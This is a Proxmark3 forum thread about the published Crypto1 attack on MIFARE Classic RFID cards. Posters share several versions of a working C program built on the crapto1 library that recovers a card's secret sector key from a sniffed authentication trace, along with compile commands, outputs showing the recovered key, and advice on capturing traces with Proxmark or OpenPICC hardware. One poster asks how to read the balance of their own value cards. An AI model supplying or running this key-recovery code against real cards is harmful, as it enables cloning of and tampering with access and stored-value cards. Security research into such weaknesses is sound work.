Research, development and trades concerning the powerful Proxmark3 device.
Remember; sharing is caring. Bring something back to the community.
"Learn the tools of the trade the hard way." +Fravia
You are not logged in.
Time changes and with it the technology
Proxmark3 @ discord
Users of this forum, please be aware that information stored on this site is not private.
Pages: 1
Hi,
The Crypto1 attack describe here : http://www.sos.cs.ru.nl/applications/rf … sorics.pdf has been released :
Offline
I verified this code. It seems to be working. Let us pray that system integrators informed their costumers!
Initialization values
UID: c1 08 41 6a
KEY: 62 be a1 92 fa 37
Decrypted random nonces
Nt: ab cd 19 49
Nt': 6b 01 17 99
Nt'': b8 68 c4 dc
Nr: 16 05 49 0d
Mifare Classic trace, []=Encrypted
Auth(00): 60 00 f5 7b
Nt: ab cd 19 49
[Nr,Nt']: 59! d5 92 0f! 15 b9 d5! 53!
[Nt'']: a7! 9a 3f! ee!
// Test-file: test2.c
#include "crypto1.h"
#include "crapto1.h"
#include <stdio.h>
int main (void)
{
struct Crypto1State revstate;
uint64_t lfsr;
unsigned char* plfsr = (unsigned char*)&lfsr;
uint32_t uid = 0xc108416a;
uint32_t tag_challenge = 0xabcd1949;
uint32_t nr_enc = 0x59d5920f;
uint32_t reader_resonse = 0x15b9d553;
uint32_t tag_resonse = 0xa79a3fee;
uint32_t ks2 = reader_resonse ^ prng_successor(tag_challenge, 64);
uint32_t ks3 = tag_resonse ^ prng_successor(tag_challenge, 96);
printf("nt': %08x\n",prng_successor(tag_challenge, 64));
printf("nt'': %08x\n",prng_successor(tag_challenge, 96));
printf("ks2: %08x\n",ks2);
printf("ks3: %08x\n",ks3);
lfsr_recovery(&revstate, ks2, ks3);
lfsr_rollback(&revstate, 0, 0);
lfsr_rollback(&revstate, 0, 0);
lfsr_rollback(&revstate, nr_enc, 1);
lfsr_rollback(&revstate, uid ^ tag_challenge, 0);
crypto1_get_lfsr(&revstate, &lfsr);
printf("Found Key: [%02x %02x %02x %02x %02x %02x]\n\n",plfsr[0],plfsr[1],plfsr[2],plfsr[3],plfsr[4],plfsr[5]);
return 0;
}
./test2
nt': 6b011799
nt'': b868c4dc
ks2: 7eb8c2ca
ks3: 1ff2fb32
Found Key: [62 be a1 92 fa 37]
Offline
It work , got it.
Offline
When I compile the code, many errors appear
Someone has the tool that decrypt the code? (I use Windows because dont know Linux)
I dont understand the tool.
Example:
I use a Omnikey 5321 reader and when I put the card, the sequence is:
************
ATR: 3B 8F 80 01 80 4F 0C A0 00 00 03 06 03 00 01 00 00 00 00 6A
UID: BC 27 32 D9
MODEL: MIFARE STANDARD 1K
************
How do I decrypt this?
Last edited by rodolpho.pedra (2008-11-02 06:26:40)
Offline
You need, the log of the transaction up to the end of the authentication
<-- UID (32 bits) = The one you got
<-- CHIP RND (32 bits)
--> READER RESPONSE/CHALLENGE (split in 2 x 32bit word)
<-- CHIP RESPONSE (32 bits)
You will not be able to get it with as an output of a Omnikey reader. You need an oscilloscope to recover the signal on the reader chip (or on the field directly but more challenging). For this, you need to launch a card reading to at least get an authentication.
But first of all reader the publication on Mifare, this is well explained ;-)
Offline
The ATR that the omnikey is showing is no real ATR/ATS for a MIFARE Classic card, since ISO14443A (layer3) does not support it. It is just the default string of the application.
So you actually only have retrieved the UID of the card so far. As rf_hack mentions, you need a trace of the transaction with the original reader to recover the key and see what (memory block) it is trying to read out.
Offline
To discover the TRACE of the transaction, i need ProxMark?
If yes, please contact-me to show the price and a simple How to use document...becouse i dont understand programing and crypto.
I want only discover the balance of my cards.
Offline
How to get it work in windows enviorment?
thanks in advance.
Offline
To discover the TRACE of the transaction, i need ProxMark?
If yes, please contact-me to show the price and a simple How to use document...becouse i dont understand programing and crypto.I want only discover the balance of my cards.
you don't 'discover' the trace, you log (or trace) the communication..
And yes as far as I understand you can do this with ProxMark, also OPENPicc can be used
B.r.
Offline
roel,
why can't I get the correct key with the newest crapto1 1.0 build? if I use the "test2.c" to calc. the key,
// Test-file: test2.c
#include "crypto1.h"
#include "crapto1.h"
#include <stdio.h>
int main (void)
{
struct Crypto1State revstate;
uint64_t lfsr;
unsigned char* plfsr = (unsigned char*)&lfsr;
uint32_t uid = 0xc108416a;
uint32_t tag_challenge = 0xabcd1949;
uint32_t nr_enc = 0x59d5920f;
uint32_t reader_resonse = 0x15b9d553;
uint32_t tag_resonse = 0xa79a3fee;
uint32_t ks2 = reader_resonse ^ prng_successor(tag_challenge, 64);
uint32_t ks3 = tag_resonse ^ prng_successor(tag_challenge, 96);
printf("nt': %08x\n",prng_successor(tag_challenge, 64));
printf("nt'': %08x\n",prng_successor(tag_challenge, 96));
printf("ks2: %08x\n",ks2);
printf("ks3: %08x\n",ks3);
lfsr_recovery(&revstate, ks2, ks3);
lfsr_rollback(&revstate, 0, 0);
lfsr_rollback(&revstate, 0, 0);
lfsr_rollback(&revstate, nr_enc, 1);
lfsr_rollback(&revstate, uid ^ tag_challenge, 0);
crypto1_get_lfsr(&revstate, &lfsr);
printf("Found Key: [%02x %02x %02x %02x %02x %02x]\n\n",plfsr[0],plfsr[1],plfsr[2],plfsr[3],plfsr[4],plfsr[5]);
return 0;
}
then the output is,
./test2
nt': 6b011799
nt'': b868c4dc
ks2: 7eb8c2ca
ks3: 1ff2fb32
Found Key: [41 87 b3 7e 04 50] // would be "[62 be a1 92 fa 37]" as u shown
Last edited by shinechou (2009-02-12 11:06:51)
Offline
It still seems to work, the api got changed a little bit.
// Test-file: test2.c
#include "crapto1.h"
#include <stdio.h>
int main (void)
{
struct Crypto1State *revstate;
uint64_t lfsr;
unsigned char* plfsr = (unsigned char*)&lfsr;
uint32_t uid = 0xc108416a;
uint32_t tag_challenge = 0xabcd1949;
uint32_t nr_enc = 0x59d5920f;
uint32_t reader_response = 0x15b9d553;
uint32_t tag_response = 0xa79a3fee;
uint32_t ks2 = reader_response ^ prng_successor(tag_challenge, 64);
uint32_t ks3 = tag_response ^ prng_successor(tag_challenge, 96);
printf("nt': %08x\n",prng_successor(tag_challenge, 64));
printf("nt'': %08x\n",prng_successor(tag_challenge, 96));
printf("ks2: %08x\n",ks2);
printf("ks3: %08x\n",ks3);
revstate = lfsr_recovery(ks2, ks3);
lfsr_rollback(revstate, 0, 0);
lfsr_rollback(revstate, 0, 0);
lfsr_rollback(revstate, nr_enc, 1);
lfsr_rollback(revstate, uid ^ tag_challenge, 0);
crypto1_get_lfsr(revstate, &lfsr);
printf("Found Key: [%02x %02x %02x %02x %02x %02x]\n\n",plfsr[0],plfsr[1],plfsr[2],plfsr[3],plfsr[4],plfsr[5]);
return 0;
}
You can compille it the following way:
gcc -o test2 test2.c crapto1.c crypto1.c
The output is:
./test2
nt': 6b011799
nt'': b868c4dc
ks2: 7eb8c2ca
ks3: 1ff2fb32
Found Key: [62 be a1 92 fa 37]
Offline
dear roel,
thx a ton!
I'd gotten the correct result by analysis version 0.5, I omit the API-difference about "lfsr_recovery()" function at first.
Offline
Does any one have any idea what this function does: lfsr_recovery_borked() ?
u can find it in the paper "http://www.sos.cs.ru.nl/applications/rf … sorics.pdf", just another lfsr_recovery implementation!
Offline
Hello
Could You explain me two things?
First:
What hardware i need to log the trace? OpenPICC? But it is hard to buy - why?
Maybe i should use OpenPCD?
For example I have sniffed communication by OpenPICC:
http://www.openpcd.org/dl/openpicc/opcd_samples
Decode it, i have example output:
Y
Z[07]0 Z[07]0 Z[07]0 Z[07]0 Z[07]0 Z[07]0 Z[07]0 Z[00]0 [11]1 ==0x00
X[07]1 X[07]1 X[07]1 X[07]1 X[07]1 X[07]1 X[07]1 X[07]1 X[07]1 ==0xFF
X[07]1 X[11]0 Z[07]0 Z[00]0 [11]1 X[11]0 Z[07]0 Z[00]0 [12]1 ==0x11
X[00]0 [14]1 X[11]0 Z[07]0 Z[00]0 [11]1 X[11]0 Z[00]0 [11]1 ==0x22
X[07]1 X[07]1 X[11]0 Z[00]0 [11]1 X[07]1 X[11]0 Z[00]0 [11]1 ==0x33
X[12]0 Z[00]0 [10]1 X[11]0 Z[07]0 Z[00]0 [11]1 X[00]0 [16]1 ==0x44
X[06]1 X[00]0 [15]1 X[00]0 [16]1 X[00]0 [14]1 X[00]0 [15]1 ==0x55
X[00]0 [16]1 X[06]1 X[12]0 Z[00]0 [11]1 X[06]1 X[00]0 [15]1 ==0x66
X[00]0 [16]1 X[00]0 [14]1 X[11]0 Z[00]0 [12]1 X[10]0 Z[08]0 ==0x4A
Z[07]0 Z[00]0 [11]1 X[07]1 X[11]0 Z[00]0 [11]1 X[10]0 Z[08]0 ==0x4C
CRC OK
How to know values, what i should to set in test.c code ?
uint32_t uid = 0xc108416a; //?
uint32_t tag_challenge = 0xabcd1949; //?
uint32_t nr_enc = 0x59d5920f; //?
uint32_t reader_response = 0x15b9d553; //?
uint32_t tag_response = 0xa79a3fee; //?
Thank You for explain
Offline
http://code.google.com/p/crapto1/
The new version was released.
Can someone explain to me what are the differences between lfsr_recovery 32 and 64 bits?
How do I change the code file test2 - that everything work properly?
Offline
Widmo, I'm also need to know the differency of lfsr_recovery 32 and 64 bits?
It seems that it doesn't work properly, if just modify lfsr_recovery to 64 .
Offline
BTW;
malloc always cann't automatically convert the according type ,show a error
invalid conversation from void to * (ohter ) error.
I use dev c++ 4.9.8
Any setting to avoid this error.
Offline
I downloaded crapto1-v2.3.tgz from http://code.google.com/p/crapto1/. I think there is a buglet in file crypto1.c in function crypto1_create(). s is malloc'ed, then s->odd and s->even are used uninitialized in the loop. In previous versions, these fields were zero'ed at the start of the loop. Doing calloc() or zeroing the fields fixes this.
One more thing I ran into. Our project (http://www.rfidguardian.org) would like to run this software on our embedded device. Stack space is limited, and I get runtime errors because in crapto1.c lfsr_recovery64() the array uint32_t table[1<<16] is on the stack. If I malloc/free this thingy, things work again.
Offline
Which reminds me, the demo applet here:
http://www.proxmark.org/files/index.php … recrack%2F
is still the bugged version... Can someone move the Makefile and mifarecrack.c from the upload section?
Thanks!
Offline
Which reminds me, the demo applet here:
http://www.proxmark.org/files/index.php … recrack%2F
is still the bugged version... Can someone move the Makefile and mifarecrack.c from the upload section?
Thanks!
In which sense is this bugged? It looks alright to me.
Rutger
Offline
sorry, not really "bugged", just the new version is better as it allows direct cut & paste from the log without having to edit out spaces and plings etc. The new version and it's associated Makefile is in the upload section and just needs copying over the top of the version in the various software section...
Offline
rutger wrote:I downloaded crapto1-v2.3.tgz from
One more thing I ran into. Our project (http://www.rfidguardian.org) would like to run this software on our embedded device. Stack space is limited, and I get runtime errors because in crapto1.c lfsr_recovery64() the array uint32_t table[1<<16] is on the stack. If I malloc/free this thingy, things work again.i was looking at your code, and i'm not sure if it's sensible to fix bugs of this granularity yet. but the fix you applied
251 table = malloc(sizeof *table << 16); 252 sl = statelist = malloc(sizeof(struct Crypto1State) << 4); 253 if(!sl || !table) 254 return 0;
would leak 256k of memory, if 'table' was allocated correctly but 'sl' wasn't. Which granted, is unlikely. Btw can anybody tell me that 1 << 16 items is enough for that array under any conditions?
OK, I fixed this. Thanks. It didn't take you long to find this file in our code base BTW.
if needed it could be fun i guess to optimize the code for specific hardware.
You mean, like adding BlackFin assembly for the critical routines?
Rutger
Offline
the latest version of crapto1 (v3.2) changes some function names, so to make it work you have to modify test2.c to support that:
// Test-file: test2.c
#include "crapto1.h"
#include <stdio.h>
int main (void)
{
struct Crypto1State *revstate;
uint64_t lfsr;
unsigned char* plfsr = (unsigned char*)&lfsr;
uint32_t uid = 0x9c599b32;
uint32_t tag_challenge = 0x82a4166c;
uint32_t nr_enc = 0xa1e458ce;
uint32_t reader_response = 0x6eea41e0;
uint32_t tag_response = 0x5cadf439;
uint32_t ks2 = reader_response ^ prng_successor(tag_challenge, 64);
uint32_t ks3 = tag_response ^ prng_successor(tag_challenge, 96);
printf("nt': %08x\n",prng_successor(tag_challenge, 64));
printf("nt'': %08x\n",prng_successor(tag_challenge, 96));
printf("ks2: %08x\n",ks2);
printf("ks3: %08x\n",ks3);
revstate = lfsr_recovery64(ks2, ks3);
lfsr_rollback_word(revstate, 0, 0);
lfsr_rollback_word(revstate, 0, 0);
lfsr_rollback_word(revstate, nr_enc, 1);
lfsr_rollback_word(revstate, uid ^ tag_challenge, 0);
crypto1_get_lfsr(revstate, &lfsr);
printf("Found Key: [%02x %02x %02x %02x %02x %02x]\n\n",plfsr[0],plfsr[1],plfsr[2],plfsr[3],plfsr[4],plfsr[5]);
return 0;
}
the two changes to make it work were to change functions lfsr_rollback to lfsr_rollback_word and lfsr_recovery to lfsr_recovery64
your results should be:
nt': 8d65734b
nt'': 9a427b20
ks2: e38f32ab
ks3: c6ef8f19
Found Key: [ff ff ff ff ff ff]
Last edited by slipdop (2010-04-22 18:50:01)
Offline
Pages: 1